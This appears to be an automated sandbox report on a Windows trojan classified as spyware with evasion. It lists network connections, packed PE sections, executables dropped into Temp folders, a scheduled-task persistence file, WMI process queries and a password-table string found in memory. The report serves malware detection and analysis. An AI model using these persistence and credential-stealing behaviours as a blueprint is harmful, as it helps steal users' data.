Source: unknown	Network traffic detected: HTTP traffic on port 50234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443

Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49946 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.67:443 -> 192.168.2.4:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.67:443 -> 192.168.2.4:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.67:443 -> 192.168.2.4:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50110 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50112 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50131 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50146 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50151 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50154 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50157 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50156 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50159 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50160 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50170 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50173 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50195 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50194 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50200 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50208 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50209 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50234 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50233 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.91:443 -> 192.168.2.4:50236 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50238 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50239 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50241 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50240 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50242 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50258 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50260 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50259 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.168.117.169:443 -> 192.168.2.4:50291 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50324 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50327 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50326 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50325 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.68:443 -> 192.168.2.4:50341 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50368 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50370 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50372 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50374 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50376 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50377 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50379 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50380 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50384 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50386 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50388 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50398 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50399 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50402 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50407 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50412 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50411 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50418 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50420 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50422 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50424 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50437 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50439 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50440 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50442 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50443 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50445 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50447 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50450 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50480 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50483 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50482 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50481 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 9ef14397f2.exe, 0000000B.00000002.2598795487.0000000000492000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_951ea6de-9
Source: 9ef14397f2.exe, 0000000B.00000002.2598795487.0000000000492000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_8354f476-6
Source: 9ef14397f2.exe, 00000025.00000000.2658570249.0000000000492000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_180cdcbf-2
Source: 9ef14397f2.exe, 00000025.00000000.2658570249.0000000000492000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_f42f063c-7

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: d657e56348.exe.6.dr	Static PE information: section name:
Source: d657e56348.exe.6.dr	Static PE information: section name: .rsrc
Source: d657e56348.exe.6.dr	Static PE information: section name: .idata
Source: d657e56348.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 7208c9365d.exe.6.dr	Static PE information: section name:
Source: 7208c9365d.exe.6.dr	Static PE information: section name: .idata
Source: 7208c9365d.exe.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: c459772a8a.exe.6.dr	Static PE information: section name:
Source: c459772a8a.exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .rsrc
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: 193820fbcc.exe.6.dr	Static PE information: section name:
Source: 193820fbcc.exe.6.dr	Static PE information: section name: .rsrc
Source: 193820fbcc.exe.6.dr	Static PE information: section name: .idata
Source: 193820fbcc.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process Stats: CPU usage > 49%
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CC825	7_3_013CC825
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CC825	7_3_013CC825
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CC905	7_3_013CC905
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CC905	7_3_013CC905
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CC900	7_3_013CC900
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CC900	7_3_013CC900
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CC825	7_3_013CC825
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CC825	7_3_013CC825
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CC905	7_3_013CC905
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CC905	7_3_013CC905
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CC900	7_3_013CC900
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CC900	7_3_013CC900
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CC825	7_3_013CC825
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CC825	7_3_013CC825
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CC905	7_3_013CC905
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CC905	7_3_013CC905
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CC900	7_3_013CC900
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CC900	7_3_013CC900
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CC825	7_3_013CC825
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CC825	7_3_013CC825
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CC905	7_3_013CC905
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CC905	7_3_013CC905
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CC900	7_3_013CC900
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CC900	7_3_013CC900
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_0134FF51	7_3_0134FF51
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_0134FF51	7_3_0134FF51
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_2_05FA1DCE	7_2_05FA1DCE

Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7500 -s 1628

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9982810371253406
Source: file.exe	Static PE information: Section: zivsockk ZLIB complexity 0.9942743926479424
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982810371253406
Source: skotes.exe.0.dr	Static PE information: Section: zivsockk ZLIB complexity 0.9942743926479424
Source: random[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9974280631188119
Source: random[1].exe.6.dr	Static PE information: Section: gfsnpvyd ZLIB complexity 0.9940880902570233
Source: d657e56348.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9974280631188119
Source: d657e56348.exe.6.dr	Static PE information: Section: gfsnpvyd ZLIB complexity 0.9940880902570233
Source: random[1].exe0.6.dr	Static PE information: Section: hduvedpj ZLIB complexity 0.9950688943588984
Source: 7208c9365d.exe.6.dr	Static PE information: Section: hduvedpj ZLIB complexity 0.9950688943588984
Source: random[2].exe.6.dr	Static PE information: Section: mcbbabgn ZLIB complexity 0.9947433997844828
Source: 193820fbcc.exe.6.dr	Static PE information: Section: mcbbabgn ZLIB complexity 0.9947433997844828

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@124/33@240/25

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5728:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4916:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4048:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6216:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4932:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2896:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1244:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7500
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8052:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1208:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe

File read: C:\Windows\System32\drivers\etc\hosts

Source: d657e56348.exe, 00000007.00000003.2444180646.0000000005894000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 50%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
